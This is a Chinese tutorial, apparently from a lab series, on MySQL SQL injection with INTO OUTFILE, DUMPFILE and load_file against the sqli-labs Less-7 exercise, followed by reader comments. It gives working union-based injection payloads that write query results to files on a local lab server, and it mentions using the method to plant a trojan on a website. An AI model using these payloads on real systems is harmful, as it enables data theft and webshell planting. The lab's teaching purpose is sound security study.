零、前言
通过前面的学习读者应该大致已经了解了SQL注入的基本分析过程,从注入的判断到注入语句的构造已经有了一定的掌握。这节课我们看一个特殊的函数—-outfile,我们将讲解与outfile相关的一些函数的用法已经在注入中所起到的作用。
一、outfile函数
MySQL中,可以使用SELECT…INTO OUTFILE语句将表的内容导出为一个文本文件。其基本的语法格式如下:
SELECT [列名] FROM table [WHERE 语句] INTO OUTFILE '目标文件' [OPTION];
dumpfile:将表的内容导出为一个文本文件(一次导出一行)
load_file:将数据导入mysql
我们进入到Mysql,现在后台测试一下几个要用到的函数,我们进入security数据库
查看users表
使用outfile函数将查询结果导入到文件当中
Select * from users into outfile ‘filepath/filename’
执行结果,在桌面生成了1.txt文件,里面包含了users表的内容
使用dumpfile函数逐行读取
Select * from limit 0,1 users into dumpfile “filepath/filename”
执行结果,在桌面生成了2.txt文件,里面包含了users表第一个记录
接下来是一个文件导入函数,load_file(),他可以将数据导入mysql
Select load_file(“filepath/filename”)
结合这几个函数,我们可以构造非常有趣的语句
Select load_file(“filepath/filename”) into outfile(“filepath/filename”)
执行结果,在桌面生成了3.txt文件,它与1.txt内容相同
二、注入测试
0x00 后台SQL语句分析
单引号测试
双引号测试
我们看到单引号出现错误,但错误不再是一个具体的错误信息,而是一句“You are in…. Use outfile……”提示。这其实是一种常见的错误处理方式,用统一的提示信息替代具体错误,既给普通的用户更好的体验,又避免让非法用户获得一些敏感内容。但是我们依然可以根据我们的判断做一些初步的检测,例如单引号测试出错我们就可以猜测id是一个单引号包裹的字符类型,根据以往的经验我们也可以加一些括号测试:
可以返回成功的注入有 ')) –+
我们可以这样构造攻击语句 ')) 攻击代码–+
0x01 注入测试
现在,我们尝试构造我们的攻击代码,进行前段测试
确定字段数
1’)) order by n --+
注入语句
')) union Select 1,2,3 into outfile "C:/www/sqli/less-7/2.txt"--+
访问http://192.168.219.129/sqli/Less-7/2.txt
11 admin3 admin31 2 3
2.txt成功被写入,输出users表中的最后一个记录
同理我们可以做更多的测试,写入更多的敏感信息。这几种做法很重要一个作用的就是可以通过操作数据库向web站点写入木马。
在LAMP环境,会出现权限额问题:把index.php的print_r(mysql_error())取消注释,在html中报错:Can’t create/write to file ‘/var/www/html/te1.txt’ (Errcode: 13)。不知道该如何提升Apache当前用户的权限呢。Xman能否帮忙看看呀?
不是很清楚,也许和mysql或者文件夹权限有关呢,先在mysql中单独执行sql语句试试,可以看看这个链接http://www.linuxidc.com/Linux/2012-02/55533.htm
最近也在刷sqli-lib,这个和mysql的配置有关系。在my.ini中有一个sercure的设置。需要把它注释掉。实际上在很多实际的场景中都不会给你读取文件的权限,因为从某种程度上来说,这可真是太危险了。所以这个语句并不是很用得上,起码自己在自己做过的题目中